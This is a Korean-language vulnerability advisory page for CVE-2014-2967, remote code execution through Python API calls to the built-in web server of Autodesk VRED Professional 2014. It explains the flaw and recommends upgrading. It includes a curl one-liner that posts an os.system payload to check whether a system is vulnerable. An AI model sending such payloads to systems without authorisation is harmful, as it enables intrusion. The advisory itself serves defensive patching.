🔍 CVE-2014-2967

10.0
CVSS Score
HIGH
2014-07-07
2026-05-06 22:30
✅ 완료

🇰🇷 한글 설명

Autodesk VRED Professional 2014 SR1 SP8 이전 버전의 통합 웹 서버에서 Python API를 통해 os 라이브러리 함수 호출이 제한 없이 가능하여, 원격 공격자가 임의의 시스템 명령을 실행할 수 있습니다. 웹 인터페이스 접근만으로 전체 시스템 제어가 가능한 심각한 취약점입니다.

💡 쉬운 설명

Autodesk VRED의 웹 서버에서 누구나 Python 명령을 실행할 수 있어서, 해커가 컴퓨터를 완전히 장악할 수 있습니다. 인터넷만 연결되면 누구나 공격 가능합니다.

🇺🇸 원문 (English)

Autodesk VRED Professional 2014 before SR1 SP8 allows remote attackers to execute arbitrary code via Python os library calls in Python API commands to the integrated web server.

📍 영향받는 시스템

Autodesk VRED Professional 2014 SR1 SP8 미만의 모든 버전

⚔️ 공격 벡터

웹 서버의 Python API 엔드포인트에 악의적인 os 라이브러리 호출을 포함한 Python 코드를 전송하여 원격 코드 실행

🛡️ 대응 방법

Autodesk VRED Professional 2014를 SR1 SP8 이상으로 즉시 업그레이드

🔧 검증 코드

취약 버전은 uid 또는 root 정보를 반환하며, 패치된 버전은 오류 메시지를 반환하거나 요청을 거부합니다.

Shell / Script 
curl -s http://localhost:8080/api/python -X POST -d 'import os;os.system("id")' 2>&1 | grep -qE '(uid|root)' && echo 'VULNERABLE' || echo 'PATCHED'

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:L/Au:N/C:C/I:C/A:C

💻 영향받는 소프트웨어

Python